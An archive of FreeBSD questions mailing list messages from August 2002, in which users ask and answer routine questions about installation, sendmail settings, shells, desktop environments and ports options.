To: Patricia Earlene Record <recorde@kirtland.cc.mi.us>
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Subject: Re: os
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Patricia,

> I am a single mother of three trying to find a new operating system for my
> laptop to free up my computer for my children.

Good for you. FreeBSD is a good choice for you, not just because it's a
nice OS, but you can easily install and run thousands of applications. It
will also make better use of your hardware.

The only price you pay for this is your time and effort learning to use
the system. If you've only ever used Windows, then it may seem strange at
first, but as you learn more it quickly becomes much easier to use and
manage your system.

There are lots of resources to help you, including documentation such as
the FreeBSD Handbook[1], this mailing list, FreeBSD IRC channels on
openprojects.net and local user groups.

> I was reading your web site and was wondering if you had a free version of
> this on 3.5 floppy disks. My laptop only has floppy. if you could help
> please let me know.

You can download data to put on two floppies which is sufficient to enable
you to install FreeBSD over the network. This is quite practical if you
have a reliable fast connection, though still possible if you have
dial-up.

Look through chapter two of the of the FreeBSD Handbook[1] - "Installing
FreeBSD", especially section 2.2.7 "Prepare the Boot Media"[2].

It is a good idea to know exactly what hardware you have in your system
before starting, both by looking at the hardware itself and getting
information of of your current installation. You should also check that
your hardware is supported[3].


> However, i am unable to purchase operating software because it is just to
> expensive and i cant afford to.

You will soon find out that it is usually true that the best software is
free.


[1] http://www.freebsd.org/handbook/
[2] http://www.freebsd.org/handbook/install-pre.html#INSTALL-FLOPPIES
[3] http://www.freebsd.org/releases/4.6R/hardware-i386.html

-Andrew-
-- 
 _______________________________________________________________________
| -Andrew J. Caines-   Unix Systems Engineer   A.J.Caines@halplant.com  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

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From owner-freebsd-questions  Sat Aug  3 10:37:18 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
To: Dru <dlavigne6@cogeco.ca>, questions@freebsd.org
Subject: Re: sendmail and rc.conf
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On Saturday 03 August 2002 01:29 pm, Dru wrote:
| I've been unable to find a good explanation (and hope a guru will be kind
| enough to provide one) regarding the best rc.conf option to choose if a
| user just wants to be able to send mail.
|
| If I choose sendmail_enable="NONE", I can send email and sockstat shows
| port 25 open on the localhost. If I choose sendmail_enable="NO", port 25
| no longer shows up but I appear to lose the ability to send mail. Is
| "NONE" as good as it gets and does it leave port 25 all the way open or
| just to the localhost?
|
| Any comments, explanations, pointers to URLs? I don't think I'm the only
| person out there confused about this.


This depends entirely on how you are trying to send mail.

If you use an SMTP/POP-enabled mail program, then you can send mail directly 
to your ISP using those protocols regardless of the local MTA.

But if the mail program is set up to expect a local sendmail to send and/or to 
find mail in /var/spool/mail, then you'd need to have sendmail doing 
something to make that work.

With sendmail set to NONE, I don't see how you could send mail other than by 
using SMTP, but if you are using SMTP, then setting sendmail to NO should not 
disable that.

So perhaps you can provide some more details on your setup?

I will say that getting basic mail setup working is *way* harder than it ought 
to be.  Some basic "pre-canned setups" for common cases where you could just 
plug in your ISP name would be a really helpful thing.


-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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From owner-freebsd-questions  Sat Aug  3 10:44:56 2002
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From: "MET" <met@uberstats.com>
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Subject: Two Seemingly Simple Questions
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1. How do you restart inetd.conf without restarting the machine?

	Can't seem to find it by searching the Handbook.

2.  How do you set the CVS Environment variable ?
	
	I tried:   met$ export CVSROOT=/usr/local/cvsrep  ( as I set
that up with:  cvs -d /usr/local/cvsrep init )
	but I get an error saying "export" is not a known command.

- Matthew


 
/**************************************************************
 
      Matthew Metnetsky
 
      met@uberstats.com
 
**************************************************************/


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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello again Matt!
To answer question on you can kill -HUP [pid] that should do it.  You
can find the pid for inetd by ps -waux | grep inetd  (I think that
should work, am I wrong?)

Second, what shell are you using?  The easiest way is to declare that
variable in the rc or profile file of the shell that you're running.
Hope that helps.

MET wrote:
| 1. How do you restart inetd.conf without restarting the machine?
|
| 	Can't seem to find it by searching the Handbook.
|
| 2.  How do you set the CVS Environment variable ?
| 	
| 	I tried:   met$ export CVSROOT=/usr/local/cvsrep  ( as I set
| that up with:  cvs -d /usr/local/cvsrep init )
| 	but I get an error saying "export" is not a known command.
|
| - Matthew
|
|
|
| /**************************************************************
|
|       Matthew Metnetsky
|
|       met@uberstats.com
|
| **************************************************************/
|
|
| To Unsubscribe: send mail to majordomo@FreeBSD.org
| with "unsubscribe freebsd-questions" in the body of the message
|
|


- --
- -Jason Porter

"Real programmers are secure enough to write
readable code, which they then self-righteously
refuse to explain."
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"MET" <met@uberstats.com> writes:

> 1. How do you restart inetd.conf without restarting the machine?
> 
> 	Can't seem to find it by searching the Handbook.

"man inetd" (seems like the most obvious place...)

> 2.  How do you set the CVS Environment variable ?
> 	
> 	I tried:   met$ export CVSROOT=/usr/local/cvsrep  ( as I set
> that up with:  cvs -d /usr/local/cvsrep init )
> 	but I get an error saying "export" is not a known command.

The syntax depends on your shell.  That syntax will work for /bin/sh,
so I'll guess that your shell is csh, in which case the equivalent
syntax is something like 'setenv CVSROOT /usr/local/cvsrep'.

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From owner-freebsd-questions  Sat Aug  3 11: 1:19 2002
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Cc: MET <met@uberstats.com>, questions@FreeBSD.ORG
Subject: Re: Two Seemingly Simple Questions
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On Sat, Aug 03, 2002 at 11:50:59AM -0600, Jason Porter wrote:
> Hello again Matt!
> To answer question on you can kill -HUP [pid] that should do it.  You
> can find the pid for inetd by ps -waux | grep inetd  (I think that
> should work, am I wrong?)

That should work fine. killall -HUP inetd should also work.

> 
> Second, what shell are you using?  The easiest way is to declare that
> variable in the rc or profile file of the shell that you're running.
> Hope that helps.

Likely a csh variant (i would guess tcsh. echo $SHELL to know for sure.)
csh-type shells use setenv to set environment variables (setenv VAR value)
rather than export.

> 
> MET wrote:
> | 1. How do you restart inetd.conf without restarting the machine?
> |
> | 	Can't seem to find it by searching the Handbook.
> |
> | 2.  How do you set the CVS Environment variable ?
> | 	
> | 	I tried:   met$ export CVSROOT=/usr/local/cvsrep  ( as I set
> | that up with:  cvs -d /usr/local/cvsrep init )
> | 	but I get an error saying "export" is not a known command.
> |
> | - Matthew
> |
> |
> |
> | /**************************************************************
> |
> |       Matthew Metnetsky
> |
> |       met@uberstats.com
> |
> | **************************************************************/
> |
> 
> 
> --
> -Jason Porter
> 

mike
-- 
___________________________________________________________
 
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	- Little Girl from "ONE GLASS OF TURPENTINE
		COMING RIGHT UP"

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From owner-freebsd-questions  Sat Aug  3 11:25:29 2002
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From: gica gica <magudexter@yahoo.com>
Subject: help with install over FTP
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Some may think that this mail is inappropiate but
please bear with me. I am using FreeBSD for a long
time and this time I got into a problem that I cannot
handle. I want to install on a brand new machine the
latest current version in the 4 series from
snapshots.jp.freebsd.org

Still, even with the sysinstall from CD-rom or
floppies I get the same results - write error.
I have a 60Gb harddisk and this is not my first
install. The layout fs is something like:
/                  128M
swap               3G
/var               3G
/var/tmp           2G
/usr               4G

If I try to install from the CD it works fine but from
the ftp it fails. It connects, starts installing and
then it sais:
write fail

I found out that in facts in writes in / that is
/dev/md0c or something i.e. the bootable ramdisk. i
tried with the /mnt - it works but the system does not
boot anymore.

In the handbook it says that the / install point
should not be tempered with but still i get the same
errors. I tried *every* parameter in the option menu
and I get the same result. I switched the layout from
/var/tmp to /tmp back and forth ; also the Temp
parameter in the Option menu - to no good.

What it is wrong. I followed the instructions but I
cannot install over the FTP. If someone has just a
tiny clue please let me know. I have to put up a
server and I spent over a day trying to install
FreeBSD at no good.
You can imagine my disposition...

Thanks
   Costin

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From owner-freebsd-questions  Sat Aug  3 11:46:35 2002
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From owner-freebsd-questions  Sat Aug  3 11:47:11 2002
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Date: Sat, 3 Aug 2002 20:47:04 +0200
From: Janine C.Buorditez <johann@broadpark.no>
To: questions@freebsd.org
Subject: "libpixmap.so"
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I'm getting this:

Gtk-WARNING **: Unable to locate loadable module in module_path: "libpixmap.so",

So I tried installing `pixmap' thinking it might solve my problem so I could run
a GTK theme called Ice-icey using GTK-Theme-Switch.

Guess not, so far.

Anyone?

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3 11:48:45 2002
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From: Janine C.Buorditez <johann@broadpark.no>
To: questions@freebsd.org
Subject: Mode-switch loop after seejpeg crash termination
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Hi.

seejpeg stopped responding while viewing a picture in console.

Switching to any of the other virtual consoles did not work, hence I had to
remotely kill the hung up process. When I returned to the machine, the picture
was still there. I pressed CTRL+C and it went away, trying to switch back to
its original console video mode. And it still does. The mode goes like on and
off in an infinite loop, making an aweful noise, fatal to my monitor if left
on.

Does anyone know what to do? The machine has such a nifty uptime that rebooting
it is not an option.

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3 11:49: 7 2002
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From: Janine C.Buorditez <johann@broadpark.no>
To: questions@freebsd.org
Subject: Distribution of configuration files from CVS repository
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Hello.                                                                          
                                                                                
I was thinking that perhaps rsync would be an ideal method of managing your     
configuration files through a CVS repository.                                   
                                                                                
I'm not familiar with any other method of doing this, nor do I have the         
knowledge to create a script of my own. I believe you have, and perhaps will,   
if my suggestion is taken seriously.

I have created a CVS repository with the destination root directories and       
configuration files tucked inside them (~/cvs). This is where I'll be modifying 
my configurations, not directly onto the system. All I need now is a way to     
have them distributed, both locally and remotely, to my actual boxes.           
                                                                                
Perhaps one doesn't require rsync, or for that matter CVS to get this done.     
I do hope, however, that you'll be able to point me in the right direction.     
                                                                                
Thanks.

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3 11:49:23 2002
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From: Janine C.Buorditez <johann@broadpark.no>
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Subject: Follow-up on einride's abandoned ghost botpack
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Hello all!

I was just wondering, have anyone ever given this a go?

I'd appreciate any reply.

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3 11:53:26 2002
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From: Janine C.Buorditez <johann@broadpark.no>
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I just discovered that my new address wasn't functioning, thus I had to repost
them all using my brothers address.

I apologize the inconvenience this may have caused.

Love,
Janine

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From owner-freebsd-questions  Sat Aug  3 11:59: 5 2002
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From: Dru <dlavigne6@cogeco.ca>
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On Sat, 3 Aug 2002, Brian T. Schellenberger wrote:

>
> On Saturday 03 August 2002 01:29 pm, Dru wrote:
> | I've been unable to find a good explanation (and hope a guru will be kind
> | enough to provide one) regarding the best rc.conf option to choose if a
> | user just wants to be able to send mail.
> |
> | If I choose sendmail_enable="NONE", I can send email and sockstat shows
> | port 25 open on the localhost. If I choose sendmail_enable="NO", port 25
> | no longer shows up but I appear to lose the ability to send mail. Is
> | "NONE" as good as it gets and does it leave port 25 all the way open or
> | just to the localhost?
> |
> | Any comments, explanations, pointers to URLs? I don't think I'm the only
> | person out there confused about this.
>
>
> This depends entirely on how you are trying to send mail.
>
> If you use an SMTP/POP-enabled mail program, then you can send mail directly
> to your ISP using those protocols regardless of the local MTA.
>
> But if the mail program is set up to expect a local sendmail to send and/or to
> find mail in /var/spool/mail, then you'd need to have sendmail doing
> something to make that work.
>
> With sendmail set to NONE, I don't see how you could send mail other than by
> using SMTP, but if you are using SMTP, then setting sendmail to NO should not
> disable that.
>
> So perhaps you can provide some more details on your setup?
>
> I will say that getting basic mail setup working is *way* harder than it ought
> to be.  Some basic "pre-canned setups" for common cases where you could just
> plug in your ISP name would be a really helpful thing.


Hrrmmmm. So I guess the answer is "it depends upon your MUA". Which would
be very confusing to a newbie, especially since it is hard enough wading
through the mail section of the ports without having to also decipher out
of the description whether or not a particular port is SMTP enabled.

Dru


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From owner-freebsd-questions  Sat Aug  3 11:59:19 2002
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From: Simon Siemonsma <simon.freebsd@hccnet.nl>
To: freebsd-questions@freebsd.org
Subject: Re: KDE vs. GNOME || GNOME vs. KDE
Date: Sat, 3 Aug 2002 20:59:13 +0200
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On Saturday 03 August 2002 18:34, Scott Mitchell wrote:
> On Sat, Aug 03, 2002 at 11:55:52AM -0400, MET wrote:
> > So what's the big difference?  How would one go about choosing which to
> > run?
> >
> > - Matthew
>
> Try them both and see which one you like best, is probably the best
> advice.  Some might find KDE a bit too Windows-like, but it does come with
> a pretty reasonable set of applications and utilities, and doesn't intrude
> too much -- just the one bar at the bottom of the screen, the way I have it
> set up.  The last time I used Gnome was a couple of years ago on a RedHat 6
> box; it crashed on me almost daily so I went back to WindowMaker and
> haven't used it since... I imagine it provides pretty much the same
> functionality as KDE though.

After installing both KDE and GNOME from the ports I prefered KDE very much. 
As far as I know KDE has the lead at the moment. KDE seems the better desktop 
environment where GNOME has some better apps. GNOME apps run on KDE however 
and programming for KDE should be much easer so this situation is improving.
>
> KDE & Gnome are both pretty heavyweight -- I'll hazard a guess and say that
> anything much less than a 700MHz machine with 256MB of RAM and a decent
> graphics adapter won't really be up to the task of running them.

I'm having a 350 Mhz PII and are perfectly happy with KDE.
>
> And don't forget that you can run Gnome or KDE apps without actually using
> either of them as your window manager.  As long as the necessary libraries
> are installed most of the apps will run just fine.
>
> HTH,
>
> 	Scott

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From owner-freebsd-questions  Sat Aug  3 12: 2: 5 2002
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Hi:

I have been trying to install FreeBSD 4.4 for the past two weeks without
much
success.  I have a PC workstation currently running OS/2 and DOS 6.22
under System Commander 7.04.  I have over 3 GB of unused/unformatted
space and want
to install FreeBSD as my main OS in this area.  Each attempt hangs up
during the device probe.

When I select the Kernel Configuration menu there are 7 conflicts.  Six
are
in the Network category and 1 in the Miscellaneous category:

NETWORK:
       Device    IRQ    Port
        o cs0           0x300
        o ed0     10    0x280
        o fe0           0x300
        o ie0     10    0x300
        o lnc0    10    0x280
        o sn0     10    0x300

MISCELLANEOUS:
        o PC-card controller    pcic0    0x3e0

I disabled all of the ethernet drivers and tried to continue but
the system still hangs during the device probe.

The driver I need is xl0 for my 3COM 3c905B NIC and I assume I can load
that after the install.  The card is located in PCI slot 10 IO Base
B000h IRQ 5.

I also noticed that when I disable device ie0, the PC-card controller
device disappears.  It does not become inactive, it just disappears.  It
also reappears when I enable the ie0 device.  For the record, the ie0
device lists the following:

     AT&T Starlan 10 and EN100, 3C507, NI5210 Ethernet ada

I'm not even sure why a pc card is appearing in the configuration menu.

Note: My sound card occupies IRQ 10.  Also, my BIOS is set to "NO" on
the Plug'nPlay option.

I've read some of the archived mailings but still can't resolve this
issue.

I would greatly appreciate any recommendations?

Bob







--------------E030473259389A34D2741DAC
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<tt>Hi:</tt><tt></tt>
<p><tt>I have been trying to install FreeBSD 4.4 for the past two weeks
without much</tt>
<br><tt>success.&nbsp; I have a PC workstation currently running OS/2 and
DOS 6.22 under System Commander 7.04.&nbsp; I have over 3 GB of unused/unformatted
space and want</tt>
<br><tt>to install FreeBSD as my main OS in this area.&nbsp; Each attempt
hangs up</tt>
<br><tt>during the device probe.</tt><tt></tt>
<p><tt>When I select the Kernel Configuration menu there are 7 conflicts.&nbsp;
Six are</tt>
<br><tt>in the Network category and 1 in the Miscellaneous category:</tt><tt></tt>
<p><b><tt>NETWORK:</tt></b>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <u>Device&nbsp;&nbsp;&nbsp;
IRQ&nbsp;&nbsp;&nbsp; Port</u></tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o cs0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0x300</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o ed0&nbsp;&nbsp;&nbsp;&nbsp;
10&nbsp;&nbsp;&nbsp; 0x280</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o fe0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0x300</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o ie0&nbsp;&nbsp;&nbsp;&nbsp;
10&nbsp;&nbsp;&nbsp; 0x300</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o lnc0&nbsp;&nbsp;&nbsp;
10&nbsp;&nbsp;&nbsp; 0x280</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o sn0&nbsp;&nbsp;&nbsp;&nbsp;
10&nbsp;&nbsp;&nbsp; 0x300</tt><tt></tt>
<p><b><tt>MISCELLANEOUS:</tt></b>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o PC-card controller&nbsp;&nbsp;&nbsp;
pcic0&nbsp;&nbsp;&nbsp; 0x3e0</tt><tt></tt>
<p><tt>I disabled all of the ethernet drivers and tried to continue but</tt>
<br><tt>the system still hangs during the device probe.</tt><tt></tt>
<p><tt>The driver I need is xl0 for my 3COM 3c905B NIC and I assume I can
load that after the install.&nbsp; The card is located in PCI slot 10 IO
Base B000h IRQ 5.</tt><tt></tt>
<p><tt>I also noticed that when I disable device ie0, the PC-card controller</tt>
<br><tt>device disappears.&nbsp; It does not become inactive, it just disappears.&nbsp;
It also reappears when I enable the ie0 device.&nbsp; For the record, the
ie0 device lists the following:</tt><tt></tt>
<p><tt>&nbsp;&nbsp;&nbsp;&nbsp; AT&amp;T Starlan 10 and EN100, 3C507, NI5210
Ethernet ada</tt><tt></tt>
<p><tt>I'm not even sure why a pc card is appearing in the configuration
menu.</tt><tt></tt>
<p><tt>Note: My sound card occupies IRQ 10.&nbsp; Also, my BIOS is set
to "NO" on the Plug'nPlay option.</tt><tt></tt>
<p><tt>I've read some of the archived mailings but still can't resolve
this issue.</tt><tt></tt>
<p><tt>I would greatly appreciate any recommendations?</tt><tt></tt>
<p><tt>Bob</tt>
<br><tt></tt>&nbsp;
<br><tt></tt>&nbsp;
<br><tt></tt>&nbsp;
<br><tt></tt>&nbsp;
<br><tt></tt>&nbsp;
<br><tt></tt>&nbsp;</html>

--------------E030473259389A34D2741DAC--


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From owner-freebsd-questions  Sat Aug  3 12: 4:20 2002
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Date: Sat, 03 Aug 2002 20:07:14 +0100
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Cc: freebsd-questions@freebsd.org
Subject: Re: Yipeeeeeeeeeeeee
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Piyush wrote:

>yeah well I did........configured X.........using the
>e-book........(handbook.........whatever.......:->).....I did have a few
>questions.........the book says you can use XDM for graphical
>logins.......but the problem is i used XDM but after logging in X restarts
>and i'm back at the same xdm login.........i have kdm ........any idea how I
>could use that as a login agent.......?
>Lastly.........how can I mount my Windows partitions ?
>

If you stop xdm from starting, I'm pretty sure you can just start kdm 
from wherever you want. When I last had it installed I just had a short 
script in /usr/local/etc/rc.d/ that started it for me.

Windows partitions can be mounted with a command like 'mount_msdos 
/dev/ad0s1 /mnt'. Check out your boot messages to find out what your 
device is likely to be, and also check 'man mount_msdos' for more 
information.

Andrew.



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From owner-freebsd-questions  Sat Aug  3 12: 5:15 2002
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From: lewiz <purple@lewiz.info>
To: Peter Leftwich <Hostmaster@Video2Video.Com>
Cc: FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
Subject: Re: www.freebsd.org - filetype/player
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This is a MIME-formatted message.  If you see this text it means that your
E-mail software does not support MIME-formatted messages.

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Hi,

  I am assuming the MOV file is a Quicktime movie, if not, excuse me.
It won't play with XMovie because it is compressed with the patented
Sorenson Vision stuff - instead, it will only play uncompressed movs.
  I personally enjoy mplayer for all my movie viewing needs - try
`whereis mplayer` for more details.

-lewiz.

On Fri, Aug 02, 2002 at 06:21:33PM -0400, Peter Leftwich wrote:
> Is there a list somewhere of filetype/player and so on for FreeBSD packag=
es
> or binaries?
>=20
> After reading (skimming) http://heroinewarrior.com/xmovie.php3 and just
> (successfully) trying the command `pkg_add -r xmovie` (I have a *.mov file
> I want to view), the following occurs:
>=20
> myprompt$ xmovie
> install_fs: Function not implemented
> Couldn't install fs segment, expect segfault
> Segmentation fault (core dumped)
>=20
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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>=20

--=20
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		-- Mickey Mouse
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From owner-freebsd-questions  Sat Aug  3 12:20: 0 2002
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From: Viktor Lazlo <viktorlazlo@njam.myip.org>
To: Warren Block <wblock@wonkity.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Stupid question about "less"
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On Tue, 30 Jul 2002, Warren Block wrote:

> Is there an easier way to do case-insensitive searches with less?  That
> is, other than with tedious things like this:
>
> /[Ss][Oo][Mm][Ee][Tt][Hh][Ii][Nn][Gg]
>
> Nothing jumps out from the man page...

Launching less with the -i or -I switches cause it to ignore case in
searches:

      -i or --ignore-case
              Causes  searches to ignore case; that is, uppercase
              and  lowercase  are  considered  identical.    This
              option  is  ignored if any uppercase letters appear
              in the search pattern; in other words, if a pattern
              contains  uppercase  letters, then that search does
              not ignore case.

       -I or --IGNORE-CASE
              Like -i, but searches ignore case even if the  pat-
              tern contains uppercase letters.


Cheers,

Viktor


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From owner-freebsd-questions  Sat Aug  3 12:20:11 2002
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On Tue, 30 Jul 2002, Mike wrote:

> Guys i really need your help with this one. I am running 4.6-STABLE and i
> get this as soon as i do the get function in FTP, i am running the
> standard freebsd ftp daemon that comes with the base os.
> (ftpd), uid 1002: exited on signal 12

What happens when you use any other ftp commands (ls, put, etc) or if you
log in to the other machine and attempt the transfer in the opposite
direction?

> I have tried using ftp from several other boxes, and the same thing
> happens. This never happened before, i tried making world and still no
> fixie. Any suggestions out there? It dumps as soon as i try to download a
> file no matter how big or small. I need to download my backups so i can
> put them on CDR. yikes.

Are you able to transfer them between the machines by scp/sftp?

Cheers,

Viktor



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On Mon, 29 Jul 2002, Christopher J. Umina wrote:

> Hello,
>
> 	I'm writing some code to pull screen names out of a log, but I
> can't seem to figure out the regular expressions to get it done.  If you
> want to see the log file it's at:
> http://216.164.225.145:81/~uminac/mp3/logs/master
> 	What I've been looking to make the script do is just list the
> screen names without the brackets, that's all.  For instance:
> kelzy16
> cc skillet
> ccgirl436
> ccgirl436
> meikman99
> bctictac8

Exactly which combination of metacharacters, regular expressions and
commands depends on what you are attempting to accomplish in your script
apart from isolating the usernames and by what means, but as a general
example:

cat master | sed -n 's/.*\[\(.*\)\].*/\1/p'

should get you near or in the ballpark.

Cheers,

Viktor


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From owner-freebsd-questions  Sat Aug  3 12:20:23 2002
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On Mon, 29 Jul 2002, Robert Overbury wrote:

> can someone please give me the name of the nttp server i need to use to
> access comp.unix.bsd.freebsd.misc  ??
> thanks, robert

If you mean nntp server you'll normally use one hosted by your ISP or any
3rd part usenet service.  If your Usenet service does not carry this group
contact the newsadmin to request it.

You can also access this group through the Google/Dejanews archives at
http://groups.google.com.

Cheers,

Viktor



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From owner-freebsd-questions  Sat Aug  3 12:20:27 2002
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On 29 Jul 2002, karl agee wrote:

> Is there any way to parse a bash command history file (w/o scrolling) to find **that one
> command** you did????
>
> --karl

The bash builtin command fc lets you display or edit commands from the
bash history.  "help fc" gives you the basic information and options.

Cheers,

Viktor


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From owner-freebsd-questions  Sat Aug  3 12:57:51 2002
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Subject: Re: Just installed xscreensaver-gnome-4.05, no screensaver
	ingnomecontrolcenter and X has just hung
From: Stacey Roberts <stacey@Demon.vickiandstacey.com>
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Hi Seth,
   Thanks for the reply.

I think I've got the etherape problem figured out. I do have /dev/bpf
compiled in the kernel, with the correspondingly correct permissions. 

The error is probably due to the fact that I attempted to run etherape
as a non-root user, but only root has access to /dev/bpf. In X, I'll
need to run etherape from the command line as root.

I have two FBSD boxes running DNS, mail, ntp, ipfw, & nat to name a few,
but I also have a couple of FBSD clients along with W2K boxes, so
therein lies my hopes of installing some sort of screensaver on the
client ones though.

I notice that no-one (worryingly, including xscreensaver-gnome's
maintainer) has even bothered to inform me of just what the problem is
with the port, though. I know the lists go like that sometimes, so like
I said, I've uninstalled it, and I'll probably look around for something
else that's FBSD compatible, and that works.

Thanks again Seth.

Stacey

On Sat, 2002-08-03 at 16:53, Seth Hieronymus wrote:
> Yeah, I know what you mean.  To be honest, I use Win2000 for all my desktop
> work that I need done.  FreeBSD is great at server tasks, but desktops take
> some work.  For what it's worth, when I had KDE3 on one of the FreeBSD
> machines, the whole package worked together better than Gnome.  But it takes
> forever to compile (gcc is not speedy compiling c++), and there were some
> shortage of apps that could use the new KDE3 framework.  Hope your computing
> gets easier... just saw your mail about Etherape.  You might check that your
> devices that it needs are extant in the /dev directory, or that the
> permissions are correct, or that you have the correct kernel options.  Other
> than that, no idea.  Sorry.
> 
> Later,
> Seth
> 
> 
> ----- Original Message -----
> From: "Stacey Roberts" <stacey@Demon.vickiandstacey.com>
> To: "Seth Hieronymus" <sethh@principia.edu>
> Sent: Saturday, 2002 August 03 03:52
> Subject: Re: Just installed xscreensaver-gnome-4.05, no screensaver
> ingnomecontrolcenter and X has just hung
> 
> 
> > Hi Seth,
> >    Sorry about the delayed reply.
> >
> > I deinstalled xscreensaver-gnome in the end, to be honest. The machine
> > in question is a freshly rebuilt box, and I'm weary of implementing
> > work-arounds, hacks & kludges in order to get ports to work properly.
> >
> > I remember from a few months ago, that getting xscreensaver to work with
> > FBSD was a hack job, and it's quite apparent that this is still required
> > in order to get it to work - and I'm not going to do that this time
> > around.
> >
> > Back then, I asked the port maintainer what I thought was a reasonable
> > question: "if a port is broken, could it not be flagged as broken /
> > forbidden?". The short description of what then ensued is that my
> > question was the last I heard of this matter. That was back in April
> > 2002 - xscreensaver is still broken and the ports tree still allows you
> > to fetch it without any notices of the fact that it does not work as
> > described.
> >
> > Sorry to go on like that.
> >
> > Stacey
> >
> > On Sat, 2002-08-03 at 03:14, Seth Hieronymus wrote:
> > > Did you figure out your xscreensaver-gnome problems?
> > >
> > > I don't know if this is worth anything, or not, but I use the regular
> > > xscreensaver port, not xscreensaver-gnome, and I put these lines in my
> > > .xinitrc file before 'exec gnome-session':
> > >     xscreensaver-command -exit
> > >     xscreensaver &
> > >
> > > (Those are spaces before the -exit and the &).  This seems to work fine.
> You
> > > can configure it by running 'xscreensaver-demo' on an xterm from within
> gnome.
> > >
> > > Hope that helps,
> > > Seth Hieronymus
> > >
> > >
> >
> >
> >
> 



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From owner-freebsd-questions  Sat Aug  3 13: 6:29 2002
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Hello,

I have upgraded from RELENG_4_5 to RELENG_4_6. 
During boot I get:
Doing initial network setup: hostname ipmon ipfilter3: cannot use port and neither tcp or udp
21: cannot use port and neither tcp or udp
23: cannot use port and neither tcp or udp
69: cannot use port and neither tcp or udp
IP Filter: already initialized

This looks like ftp, telnet and tftp. But I haven't enabled these in
inetd.conf.
Who want's to start these services?

Also uname -a yields:
FreeBSD hostname 4.6.1-RELEASE-p7 FreeBSD 4.6.1-RELEASE-p7 #0: ...  i386

System and release appear twice.

-Hanspeter

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From owner-freebsd-questions  Sat Aug  3 13:14:53 2002
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One thing you'll find is that you can applications
written for both as long as you have the base
libraries. For example, I prefer to use Evolution for
email and use Galeon for webbrowsing whereas I use
Konsole for all my console work (vim) and I usually
use KDE rather than Gnome. (I use fluxbox now but
that's another story)

-ed


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From owner-freebsd-questions  Sat Aug  3 13:15:34 2002
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I have GNOME installed on my system, but I've gone back to fvwm2. I
want to rebuild gaim to not use the panel UI, as I no longer have a
panel. I've tried the following options:

- Change /usr/ports/net/gaim/Makefile to read "WANT_GNOME = no"
- use make WANT_GNOME=no
- set $WANT_GNOME to no, then use make -E WANT_GNOME WANT_GNOME=no
- set $WANT_GNOME to no, then use make -e
- use gmake

Kernel and userland stuff is 4.6-STABLE; ports tree is 4.6-RELEASE. Is
this broken in that particular port version, or is there some secret
way of doing it right?


=====
C. A. "Sapphire Cat" Daelhousen
You can love me or hate me, but it won't change who I am.
My opinions are my own, until UB purchases my soul.

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From owner-freebsd-questions  Sat Aug  3 13:59:49 2002
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I didn't see any compile errors. what am I doing wrong?

Fuz

messages on console

Not running in a graphics capable console,
and unable to find one.
Not running in a graphics capable console,
and unable to find one.
Not running in a graphics capable console,
and unable to find one.
can't open tasha.jpg

the console is running cons25 in std 80x25.

gettext-0.10.35
gmake-3.79.1
libgnugetopt-1.1
libtool-1.3.4_2
jpeg-6b
svgalib-1.4.2_1
seejpeg-1.10

dmesg's from boot

pci0: <S3 ViRGE DX/GX graphics accelerator> at 9.0 irq 10
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>



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From owner-freebsd-questions  Sat Aug  3 14: 1:54 2002
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Date: Sat, 3 Aug 2002 23:01:38 +0200
From: Erik Trulsson <ertr1013@student.uu.se>
To: cd9@buffalo.edu
Cc: freebsd-questions@freebsd.org
Subject: Re: How to adjust Makefile vars in ports?
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On Sat, Aug 03, 2002 at 01:15:31PM -0700, The Sapphire Cat wrote:
> I have GNOME installed on my system, but I've gone back to fvwm2. I
> want to rebuild gaim to not use the panel UI, as I no longer have a
> panel. I've tried the following options:
> 
> - Change /usr/ports/net/gaim/Makefile to read "WANT_GNOME = no"
> - use make WANT_GNOME=no
> - set $WANT_GNOME to no, then use make -E WANT_GNOME WANT_GNOME=no
> - set $WANT_GNOME to no, then use make -e
> - use gmake
> 
> Kernel and userland stuff is 4.6-STABLE; ports tree is 4.6-RELEASE. Is
> this broken in that particular port version, or is there some secret
> way of doing it right?

Try 'make WITHOUT_GNOME=yes'
For most make options all that matters is if they are defined or not.
The value they have is ignored.  Thus WANT_GNOME=yes and WANT_GNOME=no
and WANT_GNOME=foo  are all equivalent.

Most (all?) of the WANT_FOO options can be overridden by WITH_FOO or
WITHOUT_FOO.

More information can be found by reading the makefiles in
/usr/ports/Mk/ and in the ports(7) manpage.


-- 
<Insert your favourite quote here.>
Erik Trulsson
